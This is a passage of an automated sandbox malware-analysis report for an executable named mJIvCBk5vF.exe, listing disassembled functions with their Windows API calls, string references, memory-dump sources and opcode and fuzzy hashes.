                                                                                                                                                          • Part of subcall function 00DA6C5E: __EH_prolog3_GS.LIBCMT ref: 00DA6C65
                                                                                                                                                          • Part of subcall function 00DA6C5E: GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00DA6C9A
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00DA50B3
                                                                                                                                                        • GetProcAddress.KERNEL32(00DE51F8,CryptUnprotectMemory), ref: 00DA50C3
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AddressProc$DirectoryH_prolog3_System
                                                                                                                                                        • String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
                                                                                                                                                        • API String ID: 270589589-1753850145
                                                                                                                                                        • Opcode ID: 3bfd4fda80ecf4df436c3180019c66f5af67c31c6e2dc1640dcdf4e15d4d8c9a
                                                                                                                                                        • Instruction ID: 4f90fa61cc25c95efd9024cc5c6f0deda821352f4548d491999c1e8d46685524
                                                                                                                                                        • Opcode Fuzzy Hash: 3bfd4fda80ecf4df436c3180019c66f5af67c31c6e2dc1640dcdf4e15d4d8c9a
                                                                                                                                                        • Instruction Fuzzy Hash: 25E01A71820713DEC7305B74E808B467ED49B05714B18982DE5DED3641D6B4E4858BB0
                                                                                                                                                        Function 00DB985A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AdjustPointer$_abort
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2252061734-0
                                                                                                                                                        • Opcode ID: 4dfafdc40a9623fd43ed71fd2fbcb496b3b24916eecfde8c85684dd692c4c603
                                                                                                                                                        • Instruction ID: c2577696dd51bcdcf8e6c3a51771f496cae541b4f23dcf546e47dc75cc3b42e3
                                                                                                                                                        • Opcode Fuzzy Hash: 4dfafdc40a9623fd43ed71fd2fbcb496b3b24916eecfde8c85684dd692c4c603
                                                                                                                                                        • Instruction Fuzzy Hash: 2051B076A01282DFDF299F54C861BEAF7A4EF40710F18452DEA4786291E731EC84CBB0
                                                                                                                                                        Function 00D9F3BE Relevance: 7.7, APIs: 5, Instructions: 161filetimeCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9F3C5
                                                                                                                                                        • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,00000050,00D9B749,?,?,?,?,?,?), ref: 00D9F450
                                                                                                                                                        • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?), ref: 00D9F4A7
                                                                                                                                                        • SetFileTime.KERNEL32(?,?,?,?), ref: 00D9F569
                                                                                                                                                        • CloseHandle.KERNEL32(?), ref: 00D9F570
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: File$Create$CloseH_prolog3_HandleTime
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4002707884-0
                                                                                                                                                        • Opcode ID: 00f3453b7c6cc29e38bec10bc85ce233a0f178c70a684d0b1cac8dc9dbae9612
                                                                                                                                                        • Instruction ID: b3ef3521d62405764cf8b924a3f1a8a0decdddc060e5b887bd8fc0896ad106e0
                                                                                                                                                        • Opcode Fuzzy Hash: 00f3453b7c6cc29e38bec10bc85ce233a0f178c70a684d0b1cac8dc9dbae9612
                                                                                                                                                        • Instruction Fuzzy Hash: 18518D70E00249AAEF15DFE8D885BEEBBB5AF49314F280529F551F7280D7349A45CB34
                                                                                                                                                        Function 00DC2BE0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetEnvironmentStringsW.KERNEL32 ref: 00DC2BE9
                                                                                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DC2C0C
                                                                                                                                                          • Part of subcall function 00DC040E: RtlAllocateHeap.NTDLL(00000000,00DB535E,?,?,00DB6C16,?,?,?,?,?,00DB5269,00DB535E,?,?,?,?), ref: 00DC0440
                                                                                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00DC2C32
                                                                                                                                                        • _free.LIBCMT ref: 00DC2C45
                                                                                                                                                        • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DC2C54
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 336800556-0
                                                                                                                                                        • Opcode ID: 549090715db699b2fe119cf216c1e0d696eb6f8ab198378693289dcbd390c28e
                                                                                                                                                        • Instruction ID: 040fb83e5e4bd875f0aa876a90ae70fac441d4b86c5dc180b3d823ad6bcfa48b
                                                                                                                                                        • Opcode Fuzzy Hash: 549090715db699b2fe119cf216c1e0d696eb6f8ab198378693289dcbd390c28e
                                                                                                                                                        • Instruction Fuzzy Hash: 9101DF72601313BF23252AA76D88E7F6A6DDEC6BA1328012CFA48D3211DA60CC0291B0
                                                                                                                                                        Function 00DC0089 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetLastError.KERNEL32(00DB535E,00DB535E,?,00DC01D8,00DC0451,?,?,00DB6C16,?,?,?,?,?,00DB5269,00DB535E,?), ref: 00DC008E
                                                                                                                                                        • _free.LIBCMT ref: 00DC00C3
                                                                                                                                                        • _free.LIBCMT ref: 00DC00EA
                                                                                                                                                        • SetLastError.KERNEL32(00000000,?,00DB535E), ref: 00DC00F7
                                                                                                                                                        • SetLastError.KERNEL32(00000000,?,00DB535E), ref: 00DC0100
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorLast$_free
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3170660625-0
                                                                                                                                                        • Opcode ID: 155411407b30d6e14db642b4cbfe91a978c93bb712b076cbc573242744d2218b
                                                                                                                                                        • Instruction ID: 5ab4ca4d54f74ac81952ae1c9a5271887e59101d93b545bf2e4792ab4c0f5d56
                                                                                                                                                        • Opcode Fuzzy Hash: 155411407b30d6e14db642b4cbfe91a978c93bb712b076cbc573242744d2218b
                                                                                                                                                        • Instruction Fuzzy Hash: A001F436255713EB832267746D86F2B2A2AEFC237172B002CF549E3292EE71CC057270
                                                                                                                                                        Function 00DC34AF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _free.LIBCMT ref: 00DC34C7
                                                                                                                                                          • Part of subcall function 00DC03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?), ref: 00DC03EA
                                                                                                                                                          • Part of subcall function 00DC03D4: GetLastError.KERNEL32(?,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?,?), ref: 00DC03FC
                                                                                                                                                        • _free.LIBCMT ref: 00DC34D9
                                                                                                                                                        • _free.LIBCMT ref: 00DC34EB
                                                                                                                                                        • _free.LIBCMT ref: 00DC34FD
                                                                                                                                                        • _free.LIBCMT ref: 00DC350F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 776569668-0
                                                                                                                                                        • Opcode ID: 34f02830d5a04145a44cce2bc5556ce33b610cd612be869f0737e8ad8beaacc9
                                                                                                                                                        • Instruction ID: 14cc5dbac5f24cf1dc22e73d8f6f41514536c80217ecdf7db6268537f268d738
                                                                                                                                                        • Opcode Fuzzy Hash: 34f02830d5a04145a44cce2bc5556ce33b610cd612be869f0737e8ad8beaacc9
                                                                                                                                                        • Instruction Fuzzy Hash: D7F0127251A352E78724DB58F486E16B7D9EB4471075D480EF418E7A01CB72FD80C7B0
                                                                                                                                                        Function 00DBF7C0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _free.LIBCMT ref: 00DBF7DE
                                                                                                                                                          • Part of subcall function 00DC03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?), ref: 00DC03EA
                                                                                                                                                          • Part of subcall function 00DC03D4: GetLastError.KERNEL32(?,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?,?), ref: 00DC03FC
                                                                                                                                                        • _free.LIBCMT ref: 00DBF7F0
                                                                                                                                                        • _free.LIBCMT ref: 00DBF803
                                                                                                                                                        • _free.LIBCMT ref: 00DBF814
                                                                                                                                                        • _free.LIBCMT ref: 00DBF825
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 776569668-0
                                                                                                                                                        • Opcode ID: 41f967c014c412375c6f2cf8d0ae52b763a8268f4e1ee6f46bb79c599f1d9c56
                                                                                                                                                        • Instruction ID: 79f150e95f29f1c0640675d64df90d5d214ceb2d68f589783c780a4df563ddd9
                                                                                                                                                        • Opcode Fuzzy Hash: 41f967c014c412375c6f2cf8d0ae52b763a8268f4e1ee6f46bb79c599f1d9c56
                                                                                                                                                        • Instruction Fuzzy Hash: D3F0DA708223A1DB9711BF24BC92948BBA5F72476530A015EF419EB775CB739842CBF1
                                                                                                                                                        Function 00DB2F8D Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 350COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DB31A4
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _wcslen
                                                                                                                                                        • String ID: .lnk$0$lnk
                                                                                                                                                        • API String ID: 176396367-906397761
                                                                                                                                                        • Opcode ID: 5b9805754e8e671676c72b935c28bfb42dc0fbe0e18e37e0a4ead0cf00b3cfd0
                                                                                                                                                        • Instruction ID: 0f07024b42db8e6ff3c467475e4851bd2c1883eeb3fc0ae654857acd2dd9cd0e
                                                                                                                                                        • Opcode Fuzzy Hash: 5b9805754e8e671676c72b935c28bfb42dc0fbe0e18e37e0a4ead0cf00b3cfd0
                                                                                                                                                        • Instruction Fuzzy Hash: F1E1F671D00259DEDF24EBA4C885BDDB7B8EF09300F5045AAE54AA7251DB349B88DF70
                                                                                                                                                        Function 00DB2B26 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 291COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetTempPathW.KERNEL32(00000105,00000000,00000000,0000020A), ref: 00DB2B66
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                          • Part of subcall function 00DA0BF3: _wcslen.LIBCMT ref: 00DA0C03
                                                                                                                                                        • EndDialog.USER32(?,00000001), ref: 00DB2EDA
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _wcslen$DialogPathTemp
                                                                                                                                                        • String ID: $@set:user
                                                                                                                                                        • API String ID: 2172748170-1503366402
                                                                                                                                                        • Opcode ID: 8f1bff94fa6abcc2e228e895ada4b02a11e5bc1c181938bdb42a28780ede3e75
                                                                                                                                                        • Instruction ID: 3667d263992e7374341019716b65cf9d1b2b09c9d61231a3c2adfe758d4002fd
                                                                                                                                                        • Opcode Fuzzy Hash: 8f1bff94fa6abcc2e228e895ada4b02a11e5bc1c181938bdb42a28780ede3e75
                                                                                                                                                        • Instruction Fuzzy Hash: 98C13931901299DEDF20EBA4DC45BEDBBB4AF15304F44009AE44AA7292DB705B89CF71
                                                                                                                                                        Function 00DB1F82 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DA1309: __EH_prolog3.LIBCMT ref: 00DA1310
                                                                                                                                                          • Part of subcall function 00DA1309: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00DA17FB,?,?,\\?\,D8943D1D,?,?,?,00000000,00DCA279,000000FF), ref: 00DA1319
                                                                                                                                                          • Part of subcall function 00DA1AD1: __EH_prolog3_GS.LIBCMT ref: 00DA1AD8
                                                                                                                                                          • Part of subcall function 00D9F763: __EH_prolog3_GS.LIBCMT ref: 00D9F76A
                                                                                                                                                          • Part of subcall function 00D9F58B: __EH_prolog3_GS.LIBCMT ref: 00D9F592
                                                                                                                                                          • Part of subcall function 00D9F58B: SetFileAttributesW.KERNELBASE(?,?,00000024,00D9A724,?,?,?,00000011,?,?,00000000,?,?,?,?,?), ref: 00D9F5A8
                                                                                                                                                          • Part of subcall function 00D9F58B: SetFileAttributesW.KERNEL32(?,?,?,?,?,00D9D303,?,?,?,?,?,?,?,D8943D1D,00000049), ref: 00D9F5EB
                                                                                                                                                        • SHFileOperationW.SHELL32(?,?,?,?,00000000), ref: 00DB2137
                                                                                                                                                        • MoveFileW.KERNEL32(?,?), ref: 00DB22BE
                                                                                                                                                        • MoveFileExW.KERNEL32(?,00000000,00000004), ref: 00DB22D8
                                                                                                                                                          • Part of subcall function 00DA14CC: __EH_prolog3_GS.LIBCMT ref: 00DA14D3
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: File$H_prolog3_$AttributesMove$CurrentDirectoryH_prolog3Operation
                                                                                                                                                        • String ID: .tmp
                                                                                                                                                        • API String ID: 1688541384-2986845003
                                                                                                                                                        • Opcode ID: 870a463264a118fa5eb681effc0d90661c2fe715ea79f00a47a7120785bfcbbb
                                                                                                                                                        • Instruction ID: 08ada6b9717b145809c314d37c64de77164153029dbb3dfb29919159d11bb924
                                                                                                                                                        • Opcode Fuzzy Hash: 870a463264a118fa5eb681effc0d90661c2fe715ea79f00a47a7120785bfcbbb
                                                                                                                                                        • Instruction Fuzzy Hash: 70C1D071800268DADF65DBA4CC85BDDBBB8BB09304F5441EAE549A3251DB34AB89CF31
                                                                                                                                                        Function 00D9A300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9A307
                                                                                                                                                        • GetLastError.KERNEL32(00000054,?,?,?,?,?,00D9D303,?,?,?,?,?,?,?,D8943D1D,00000049), ref: 00D9A427
                                                                                                                                                          • Part of subcall function 00D9AC11: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D9AC2E
                                                                                                                                                          • Part of subcall function 00D9AC11: GetLastError.KERNEL32 ref: 00D9AC72
                                                                                                                                                          • Part of subcall function 00D9AC11: CloseHandle.KERNEL32(?), ref: 00D9AC81
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorLast$CloseCurrentH_prolog3_HandleProcess
                                                                                                                                                        • String ID: SeRestorePrivilege$SeSecurityPrivilege
                                                                                                                                                        • API String ID: 2235100918-639343689
                                                                                                                                                        • Opcode ID: cf47f739a61774c7b4b0783fb7a1929be81f2e81b4b97fc842b9e14549fae4ae
                                                                                                                                                        • Instruction ID: 4f26d24ea578b5b1245de4e324c661e5a613b930adefee56b6ca2ca719c750ae
                                                                                                                                                        • Opcode Fuzzy Hash: cf47f739a61774c7b4b0783fb7a1929be81f2e81b4b97fc842b9e14549fae4ae
                                                                                                                                                        • Instruction Fuzzy Hash: 3A411B71E10209ABDF14EBECE889BEDB7B4AB49314F04402AF505F7341DAB49944CB76
                                                                                                                                                        Function 00DBEE2A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\mJIvCBk5vF.exe,00000104), ref: 00DBEE6A
                                                                                                                                                        • _free.LIBCMT ref: 00DBEF35
                                                                                                                                                        • _free.LIBCMT ref: 00DBEF3F
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _free$FileModuleName
                                                                                                                                                        • String ID: C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                        • API String ID: 2506810119-2153358855
                                                                                                                                                        • Opcode ID: a4cc09c16928ae4b710cf06f2519b393a3fff93c3e33699fc7120c7493a425aa
                                                                                                                                                        • Instruction ID: b4af96c0446e120a1237a6e321e9006454c7e24a86618925887a3fe44c96a422
                                                                                                                                                        • Opcode Fuzzy Hash: a4cc09c16928ae4b710cf06f2519b393a3fff93c3e33699fc7120c7493a425aa
                                                                                                                                                        • Instruction Fuzzy Hash: B0315E71A04358EBDB21AB999881EEEBBF8EF98710F14406AF4059B211D770DA40CBB0
                                                                                                                                                        Function 00DB9E56 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00DB9E7B
                                                                                                                                                        • _abort.LIBCMT ref: 00DB9F86
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
